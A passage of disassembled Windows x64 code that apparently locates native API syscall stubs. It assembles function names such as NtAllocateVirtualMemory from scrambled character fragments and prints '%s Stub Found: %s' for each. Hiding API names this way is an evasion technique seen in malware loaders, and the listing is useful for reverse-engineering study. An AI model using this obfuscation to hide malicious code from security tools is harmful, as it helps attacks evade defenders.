call fcn.1400bc110
lea rax, [rbp + 0x3b60]
lea rdx, [rbp + 0x3b80]
lea r8, [0x1400dd5bb]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3b40]
lea rdx, [rbp + 0x3b60]
lea r8, [0x1400dd5bb]
mov rcx, rax
call fcn.1400bc110
lea rdx, [rbp + 0x3b40]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ac030
lea rax, [rbp + 0x3b40]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3b60]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3b80]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3ba0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3bc0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3be0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3c00]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3c20]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3c40]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3c60]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3c80]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3ca0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3cc0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3cef]
mov rcx, rax
call fcn.14009c9a0
nop
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3cf0]
mov rcx, rax
call fcn.1400ab330
mov r9, qword [rbp + 0x5348]
mov r8, qword [rbp + 0x5368]
mov rdx, qword [rbp + 0x5340]
lea rax, [rbp + 0x3cf0]
mov rcx, qword [rbp + 0x53c0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5430]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x533c], eax
lea rax, [rbp + 0x3cf0]
mov rcx, rax
call fcn.1400abff0
cmp dword [rbp + 0x533c], 0
je 0x140005cce
lea rbx, [0x1400dd58b]
jmp 0x140005cd5
lea rbx, [0x1400dd590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400317f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020e80
lea rax, [rbp + 0x3f1f]
mov qword [rbp + 0x5298], rax
nop
nop
lea rdx, [rbp + 0x3f1f]
lea rax, [rbp + 0x3ef0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab7d0
lea rax, [rbp + 0x3ed0]
lea rdx, [rbp + 0x3ef0]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3eb0]
lea rdx, [rbp + 0x3ed0]
lea r8, [0x1400dd5cb]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3e90]
lea rdx, [rbp + 0x3eb0]
lea r8, [0x1400dd583]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3e70]
lea rdx, [rbp + 0x3e90]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3e50]
lea rdx, [rbp + 0x3e70]
lea r8, [0x1400dd583]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3e30]
lea rdx, [rbp + 0x3e50]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3e10]
lea rdx, [rbp + 0x3e30]
lea r8, [0x1400dd571]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3df0]
lea rdx, [rbp + 0x3e10]
lea r8, [0x1400dd5d1]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3dd0]
lea rdx, [rbp + 0x3df0]
lea r8, [0x1400dd577]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3db0]
lea rdx, [rbp + 0x3dd0]
lea r8, [0x1400dd5af]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3d90]
lea rdx, [rbp + 0x3db0]
lea r8, [0x1400dd5b1]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3d70]
lea rdx, [rbp + 0x3d90]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3d50]
lea rdx, [rbp + 0x3d70]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3d30]
lea rdx, [rbp + 0x3d50]
lea r8, [0x1400dd579]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3d10]
lea rdx, [rbp + 0x3d30]
lea r8, [0x1400dd5b3]
mov rcx, rax
call fcn.1400bc110
lea rdx, [rbp + 0x3d10]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ac030
lea rax, [rbp + 0x3d10]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3d30]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3d50]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3d70]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3d90]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3db0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3dd0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3df0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3e10]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3e30]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3e50]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3e70]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3e90]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3eb0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3ed0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3ef0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3f1f]
mov rcx, rax
call fcn.14009c9a0
nop
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3f20]
mov rcx, rax
call fcn.1400ab330
mov r9, qword [rbp + 0x5348]
mov r8, qword [rbp + 0x5368]
mov rdx, qword [rbp + 0x5340]
lea rax, [rbp + 0x3f20]
mov rcx, qword [rbp + 0x53b8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5430]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x533c], eax
lea rax, [rbp + 0x3f20]
mov rcx, rax
call fcn.1400abff0
cmp dword [rbp + 0x533c], 0
je 0x14000606b
lea rbx, [0x1400dd58b]
jmp 0x140006072
lea rbx, [0x1400dd590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400317f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020e80
lea rax, [rbp + 0x41af]
mov qword [rbp + 0x5290], rax
nop
nop
lea rdx, [rbp + 0x41af]
lea rax, [rbp + 0x4180]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab7d0
lea rax, [rbp + 0x4160]
lea rdx, [rbp + 0x4180]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4140]
lea rdx, [rbp + 0x4160]
lea r8, [0x1400dd571]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4120]
lea rdx, [rbp + 0x4140]
lea r8, [0x1400dd573]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4100]
lea rdx, [rbp + 0x4120]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x40e0]
lea rdx, [rbp + 0x4100]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x40c0]
lea rdx, [rbp + 0x40e0]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x40a0]
lea rdx, [rbp + 0x40c0]
lea r8, [0x1400dd5b9]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4080]
lea rdx, [rbp + 0x40a0]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4060]
lea rdx, [rbp + 0x4080]
lea r8, [0x1400dd5bb]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4040]
lea rdx, [rbp + 0x4060]
lea r8, [0x1400dd583]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4020]
lea rdx, [rbp + 0x4040]
lea r8, [0x1400dd587]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4000]
lea rdx, [rbp + 0x4020]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3fe0]
lea rdx, [rbp + 0x4000]
lea r8, [0x1400dd5af]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3fc0]
lea rdx, [rbp + 0x3fe0]
lea r8, [0x1400dd5b1]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3fa0]
lea rdx, [rbp + 0x3fc0]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3f80]
lea rdx, [rbp + 0x3fa0]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3f60]
lea rdx, [rbp + 0x3f80]
lea r8, [0x1400dd579]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x3f40]
lea rdx, [rbp + 0x3f60]
lea r8, [0x1400dd5b3]
mov rcx, rax
call fcn.1400bc110
lea rdx, [rbp + 0x3f40]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ac030
lea rax, [rbp + 0x3f40]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3f60]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3f80]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3fa0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3fc0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x3fe0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4000]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4020]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4040]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4060]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4080]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x40a0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x40c0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x40e0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4100]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4120]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4140]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4160]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4180]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x41af]
mov rcx, rax
call fcn.14009c9a0
nop
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x41b0]
mov rcx, rax
call fcn.1400ab330
mov r9, qword [rbp + 0x5348]
mov r8, qword [rbp + 0x5368]
mov rdx, qword [rbp + 0x5340]
lea rax, [rbp + 0x41b0]
mov rcx, qword [rbp + 0x53b0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5430]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x533c], eax
lea rax, [rbp + 0x41b0]
mov rcx, rax
call fcn.1400abff0
cmp dword [rbp + 0x533c], 0
je 0x14000648c
lea rbx, [0x1400dd58b]
jmp 0x140006493
lea rbx, [0x1400dd590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400317f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020e80
lea rax, [rbp + 0x441f]
mov qword [rbp + 0x5288], rax
nop
nop
lea rdx, [rbp + 0x441f]
lea rax, [rbp + 0x43f0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab7d0
lea rax, [rbp + 0x43d0]
lea rdx, [rbp + 0x43f0]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x43b0]
lea rdx, [rbp + 0x43d0]
lea r8, [0x1400dd5d3]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4390]
lea rdx, [rbp + 0x43b0]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4370]
lea rdx, [rbp + 0x4390]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4350]
lea rdx, [rbp + 0x4370]
lea r8, [0x1400dd5ad]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4330]
lea rdx, [rbp + 0x4350]
lea r8, [0x1400dd575]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4310]
lea rdx, [rbp + 0x4330]
lea r8, [0x1400dd5c1]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x42f0]
lea rdx, [rbp + 0x4310]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x42d0]
lea rdx, [rbp + 0x42f0]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x42b0]
lea rdx, [rbp + 0x42d0]
lea r8, [0x1400dd5b7]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4290]
lea rdx, [rbp + 0x42b0]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4270]
lea rdx, [rbp + 0x4290]
lea r8, [0x1400dd5af]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4250]
lea rdx, [rbp + 0x4270]
lea r8, [0x1400dd5b1]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4230]
lea rdx, [rbp + 0x4250]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4210]
lea rdx, [rbp + 0x4230]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x41f0]
lea rdx, [rbp + 0x4210]
lea r8, [0x1400dd579]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x41d0]
lea rdx, [rbp + 0x41f0]
lea r8, [0x1400dd5b3]
mov rcx, rax
call fcn.1400bc110
lea rdx, [rbp + 0x41d0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ac030
lea rax, [rbp + 0x41d0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x41f0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4210]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4230]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4250]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4270]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4290]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x42b0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x42d0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x42f0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4310]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4330]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4350]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4370]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4390]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x43b0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x43d0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x43f0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x441f]
mov rcx, rax
call fcn.14009c9a0
nop
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4420]
mov rcx, rax
call fcn.1400ab330
mov r9, qword [rbp + 0x5348]
mov r8, qword [rbp + 0x5368]
mov rdx, qword [rbp + 0x5340]
lea rax, [rbp + 0x4420]
mov rcx, qword [rbp + 0x53a8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5430]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x533c], eax
lea rax, [rbp + 0x4420]
mov rcx, rax
call fcn.1400abff0
cmp dword [rbp + 0x533c], 0
je 0x140006881
lea rbx, [0x1400dd58b]
jmp 0x140006888
lea rbx, [0x1400dd590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400317f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020e80
lea rax, [rbp + 0x468f]
mov qword [rbp + 0x5280], rax
nop
nop
lea rdx, [rbp + 0x468f]
lea rax, [rbp + 0x4660]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab7d0
lea rax, [rbp + 0x4640]
lea rdx, [rbp + 0x4660]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4620]
lea rdx, [rbp + 0x4640]
lea r8, [0x1400dd5bf]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4600]
lea rdx, [rbp + 0x4620]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x45e0]
lea rdx, [rbp + 0x4600]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x45c0]
lea rdx, [rbp + 0x45e0]
lea r8, [0x1400dd5ad]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x45a0]
lea rdx, [rbp + 0x45c0]
lea r8, [0x1400dd575]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4580]
lea rdx, [rbp + 0x45a0]
lea r8, [0x1400dd5c1]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4560]
lea rdx, [rbp + 0x4580]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4540]
lea rdx, [rbp + 0x4560]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4520]
lea rdx, [rbp + 0x4540]
lea r8, [0x1400dd5b7]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4500]
lea rdx, [rbp + 0x4520]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x44e0]
lea rdx, [rbp + 0x4500]
lea r8, [0x1400dd5af]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x44c0]
lea rdx, [rbp + 0x44e0]
lea r8, [0x1400dd5b1]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x44a0]
lea rdx, [rbp + 0x44c0]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4480]
lea rdx, [rbp + 0x44a0]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4460]
lea rdx, [rbp + 0x4480]
lea r8, [0x1400dd579]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4440]
lea rdx, [rbp + 0x4460]
lea r8, [0x1400dd5b3]
mov rcx, rax
call fcn.1400bc110
lea rdx, [rbp + 0x4440]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ac030
lea rax, [rbp + 0x4440]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4460]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4480]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x44a0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x44c0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x44e0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4500]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4520]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4540]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4560]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4580]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x45a0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x45c0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x45e0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4600]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4620]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4640]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4660]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x468f]
mov rcx, rax
call fcn.14009c9a0
nop
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4690]
mov rcx, rax
call fcn.1400ab330
mov r9, qword [rbp + 0x5348]
mov r8, qword [rbp + 0x5368]
mov rdx, qword [rbp + 0x5340]
lea rax, [rbp + 0x4690]
mov rcx, qword [rbp + 0x53a0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5430]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x533c], eax
lea rax, [rbp + 0x4690]
mov rcx, rax
call fcn.1400abff0
cmp dword [rbp + 0x533c], 0
je 0x140006c76
lea rbx, [0x1400dd58b]
jmp 0x140006c7d
lea rbx, [0x1400dd590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400317f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020e80
lea rax, [rbp + 0x48bf]
mov qword [rbp + 0x5278], rax
nop
nop
lea rdx, [rbp + 0x48bf]
lea rax, [rbp + 0x4890]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab7d0
lea rax, [rbp + 0x4870]
lea rdx, [rbp + 0x4890]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4850]
lea rdx, [rbp + 0x4870]
lea r8, [0x1400dd5d5]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4830]
lea rdx, [rbp + 0x4850]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4810]
lea rdx, [rbp + 0x4830]
lea r8, [0x1400dd573]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x47f0]
lea rdx, [rbp + 0x4810]
lea r8, [0x1400dd579]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x47d0]
lea rdx, [rbp + 0x47f0]
lea r8, [0x1400dd589]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x47b0]
lea rdx, [rbp + 0x47d0]
lea r8, [0x1400dd5b5]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4790]
lea rdx, [rbp + 0x47b0]
lea r8, [0x1400dd5b7]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4770]
lea rdx, [rbp + 0x4790]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4750]
lea rdx, [rbp + 0x4770]
lea r8, [0x1400dd577]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4730]
lea rdx, [rbp + 0x4750]
lea r8, [0x1400dd583]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4710]
lea rdx, [rbp + 0x4730]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x46f0]
lea rdx, [rbp + 0x4710]
lea r8, [0x1400dd57f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x46d0]
lea rdx, [rbp + 0x46f0]
lea r8, [0x1400dd575]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x46b0]
lea rdx, [rbp + 0x46d0]
lea r8, [0x1400dd5c1]
mov rcx, rax
call fcn.1400bc110
lea rdx, [rbp + 0x46b0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ac030
lea rax, [rbp + 0x46b0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x46d0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x46f0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4710]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4730]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4750]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4770]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4790]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x47b0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x47d0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x47f0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4810]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4830]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4850]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4870]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4890]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x48bf]
mov rcx, rax
call fcn.14009c9a0
nop
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x48c0]
mov rcx, rax
call fcn.1400ab330
mov r9, qword [rbp + 0x5348]
mov r8, qword [rbp + 0x5368]
mov rdx, qword [rbp + 0x5340]
lea rax, [rbp + 0x48c0]
mov rcx, qword [rbp + 0x5398]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5430]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x533c], eax
lea rax, [rbp + 0x48c0]
mov rcx, rax
call fcn.1400abff0
cmp dword [rbp + 0x533c], 0
je 0x140007013
lea rbx, [0x1400dd58b]
jmp 0x14000701a
lea rbx, [0x1400dd590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400317f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020e80
lea rax, [rbp + 0x4a8f]
mov qword [rbp + 0x5270], rax
nop
nop
lea rdx, [rbp + 0x4a8f]
lea rax, [rbp + 0x4a60]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab7d0
lea rax, [rbp + 0x4a40]
lea rdx, [rbp + 0x4a60]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4a20]
lea rdx, [rbp + 0x4a40]
lea r8, [0x1400dd5c5]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4a00]
lea rdx, [rbp + 0x4a20]
lea r8, [0x1400dd5d1]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x49e0]
lea rdx, [rbp + 0x4a00]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x49c0]
lea rdx, [rbp + 0x49e0]
lea r8, [0x1400dd5c1]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x49a0]
lea rdx, [rbp + 0x49c0]
lea r8, [0x1400dd5bf]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4980]
lea rdx, [rbp + 0x49a0]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4960]
lea rdx, [rbp + 0x4980]
lea r8, [0x1400dd577]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4940]
lea rdx, [rbp + 0x4960]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4920]
lea rdx, [rbp + 0x4940]
lea r8, [0x1400dd57f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4900]
lea rdx, [rbp + 0x4920]
lea r8, [0x1400dd575]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x48e0]
lea rdx, [rbp + 0x4900]
lea r8, [0x1400dd5c1]
mov rcx, rax
call fcn.1400bc110
lea rdx, [rbp + 0x48e0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ac030
lea rax, [rbp + 0x48e0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4900]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4920]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4940]
mov rcx, rax
call fcn.1400abff0
